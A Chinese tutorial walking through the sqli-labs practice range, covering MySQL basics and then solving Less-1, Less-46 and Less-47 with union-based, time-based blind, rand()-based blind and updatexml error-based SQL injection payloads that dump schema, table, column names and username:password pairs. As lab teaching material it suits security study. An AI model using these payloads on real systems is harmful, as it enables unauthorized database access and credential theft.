目录

  • 1.安装靶场
  • 2.了解几个sql常用知识
  • 2.1联合查询union用法
  • 2.2MySQL中的通配符:
  • 2.3常用函数
  • 2.4数据分组
  • 3.mysql中重要的数据库和表
  • 4.开始闯关
  • 4.1 Less-1
  • 4.1.1 首先进行一次常规的注入
  • 4.1.2 深入解析
  • 4.2 Less-46(盲注)
  • 4.2 Less-46(报错注入)
  • 4.3 Less 47


1.安装靶场

1.首先推荐使用github下载靶场源码

https://github.com/Audi-1/sqli-labs

2.接着你需要phpstudy即小皮面板来启动网站

https://www.xp.cn/

小皮 3306 mysql 启动不了_数据


3.将下载下来的网站源码解压到小皮www文件夹下,通过浏览器进行访问。

小皮 3306 mysql 启动不了_数据_02


4.接着点击setup创建相关的security数据库。这里我们要注意几个问题,首先是要点击sql_connections中的db_creds文件来更改连接数据库的密码,然后是要注意小皮面板所使用的php版本要更改为低版本例如php5.6.9。

5.创建靶场成功

小皮 3306 mysql 启动不了_ci_03

2.了解几个sql常用知识

2.1联合查询union用法

联合查询必须要保证列是相同的
联合查询还有就是前面条件为假时后面条件才会生效
-- 中国或美国城市信息
SELECT * FROM city
WHERE countrycode IN ('CHN' ,'USA');
SELECT * FROM city WHERE countrycode='CHN'
UNION ALL
SELECT * FROM city WHERE countrycode='USA'
说明:一般情况下,我们会将 IN 或者 OR 语句 改写成 UNION ALL,来提高性能
UNION 去重复
UNION ALL 不去重复
**查询结果限定**
在SELECT语句最后可以用LIMLT来限定查询结果返回的起始记录和总数量。MySQL特有。
SELECT … LIMIT offset_start,row_count;
offset_start:第一个返回记录行的偏移量。默认为0.
row_count:要返回记录行的最大数目。
例子:
SELECT * FROM TB_EMP LIMIT 5;/*检索前5个记录*/
SELECT * FROM TB_EMP LIMIT 5,10;/*检索记录行6-15*/

2.2MySQL中的通配符:

MySQL中的常用通配符有三个:
%:用来表示任意多个字符,包含0个字符
_ : 用来表示任意单个字符
escape:用来转义特定字符

2.3常用函数

group_concat   多行显示变成一行
select group_concat(id,password,emails) from users; 
select database() 查看数据库
select version() 查看版本
session_user() 返回连接数据库的用户名和主机名,也就是网站配置文件中连接数据库的账户
ascii() 将参数字符串转换为asccii码
length() 返回字符串长度
LEFT (str,len) 从左侧字截取符串,返回字符串左边的若干个字符
RIGHT          从右侧字截取符串,返回字符串右边的若干个字符
REPLACE(s,s1,s2) 字符串替换函数,返回替换后的新字符串
SUBSTRING(s,n,len) 截取字符串,返回从指定位置开始的指定长度的字符换
REVERSE 字符串反转(逆序)函数,返回与原始字符串顺序相反的字符串

2.4数据分组

数据分组--GROUP BY
GROUP BY子句的真正作用在于与各种聚合函数配合使用。它用来对查询出来的数据进行分组。
分组的含义是:把该列具有相同值的多条记录当成一组记录处理,最后只输出一条记录。
分组函数忽略空值,。
结果集隐式按升序排列,如果需要改变排序方式可以使用Order by 子句。
SELECT column, group_function
FROM table
[WHERE condition]
[GROUP BY group_by_expression]
[ORDER BY column];
order by的列如果是1,2,3那麽返回的就是第1,2,3列表中的数据。
#每个部门的平均工资
SELECT deptno,AVG(sal) FROM TB_EMP GROUP BY deptno

3.mysql中重要的数据库和表

小皮 3306 mysql 启动不了_安全_04


小皮 3306 mysql 启动不了_数据_05

4.开始闯关

4.1 Less-1

4.1.1 首先进行一次常规的注入

观察靶场我们可以发现,它让我们输入一个id,那我们就进行测试吧。

输入id=1

小皮 3306 mysql 启动不了_数据_06

4.1.2 深入解析

既然我们可以输入一个id,那我们是否可以输入一些其他的语句,来获取更多的数据呢,答案是当然的,接下来我们就要依靠上面的知识。
1.探析所注入的表的列数
我们在上面知道了order by的用法,它可以为我们探查这个表到底有几列,例如

select * from users order by 1;

我们注入一个order by为5,即猜测表中有5列数据,他返回个错误,这下我们就知道了,他没有五列数据,我们就可以用二分法(100,50,25,12,6,3)来探查到底有几列数据,我们最终发现这个表有三列数据。

小皮 3306 mysql 启动不了_数据_07


2.查库名

接下来就要用到联合查询union了。当我们查询所返回的列不与前面的数据的列相同时就会报错。列数相同时,数据就合并了。

小皮 3306 mysql 启动不了_小皮 3306 mysql 启动不了_08

我们发现查了1,2,3,他就返回了1,2,3,当我们查询数据库名字database(),数据库版本version()的时候他也会显示。

小皮 3306 mysql 启动不了_安全_09


甚至你可以查出他所有的库名

?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

小皮 3306 mysql 启动不了_ci_10

3.查表名

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

小皮 3306 mysql 启动不了_小皮 3306 mysql 启动不了_11


4查users表中的列名

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name = 'users' --+

小皮 3306 mysql 启动不了_ci_12


5.查users表中所有数据

?id=-1' union select 1,group_concat(username,0x3a,password),3 from users --+

小皮 3306 mysql 启动不了_Less_13

4.2 Less-46(盲注)

关于这部分我推荐读者看一下乌鸦安全在哔哩哔哩的视频。

https://space.bilibili.com/29903122

1.时间盲注payload

order by if(表达式,1,sleep(1))

表达式为true时,正常时间显示
表达式为false时,会延迟一段时间显示

我们可以把它看成一个三目运算符,如果结果正确就返回A,否则就返回B。
比如我们判断一下数据库名字的长度是否大于1,是否等于1.我们发现大于1的时候他正常跳转了,但是当他等于1的时候他就一直转圈圈
payload如下

?sort=2 and if ((length(database())>1),1,sleep(5))--+
?sort=2 and if ((length(database())=1),1,sleep(5))--+

小皮 3306 mysql 启动不了_小皮 3306 mysql 启动不了_14


虽然时间盲注可以帮助我们来判断,但是我们一直等待时间恐怕有点不现实,所以就推荐通过写个脚本来判断他。

2.基于rand()的盲注(数字型)

rand() 函数可以产生随机数介于0和1之间的一个数

当给rand() 一个参数的时候,会将该参数作为一个随机种子,生成一个介于0-1之间的一个数,

种子固定,则生成的数固定

order by rand:这个不是分组,只是排序,rand()只是生成一个随机数,每次检索的结果排序会不同

order by rand(表达式)

当表达式true和false时,排序结果是不同的,所以就可以使用rand()函数进行盲注了。
例:

order by rand(ascii(mid((select database()),1,1))>96)

小皮 3306 mysql 启动不了_数据_15


payload如下

?sort=rand(length(database())=8)
?sort=rand(ascii(substr(database(),1,1))=115)
?sort=rand(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101)
?sort=rand(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)='i')
?sort=rand(ascii(substr((select username from users limit 0,1), 1,1))=68)

4.2 Less-46(报错注入)

1.进入关卡,我们发现它提示我们(请将参数输入为SORT(带数值)),我们照做。

小皮 3306 mysql 启动不了_ci_16


2.url输入sort = 1,他出现了一张数据表,有ID字段,username字段,还有password字段。并且好像还对id字段进行了排序,我们继续传参。

小皮 3306 mysql 启动不了_Less_17


3.我们传参sort=2,发现他对username字段进行了排序。我们貌似可以联想到一些什么,比如mysql中的order by 函数,他就是和排序相关联的了。

小皮 3306 mysql 启动不了_安全_18


4.我们接着使用union联合注入尝试一下。由于显示的就有三个字段,我们也不用对他进行字段数测试了。直接三个字段,他报错出来了一个**(UNION和ORDER BY的用法不正确)**,其实就是order by后面不能拼接联合查询union。

?sort=2 union select 1,2,3

小皮 3306 mysql 启动不了_ci_19


5.使用报错注入来进行手工注入。

payload如下

判断库名: and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--+
判断表名: and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) --+
判断列名: and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),0x7e),1) --+
判断数据: and updatexml(1,concat(0x7e,(select id from emails limit 0,1),0x7e),1)--+

6.表名

小皮 3306 mysql 启动不了_小皮 3306 mysql 启动不了_20


7.列名

小皮 3306 mysql 启动不了_安全_21


8.数据如下

小皮 3306 mysql 启动不了_小皮 3306 mysql 启动不了_22

4.3 Less 47

没啥好说的和第46关相比就是多了个单引号闭合,利用payload一把梭。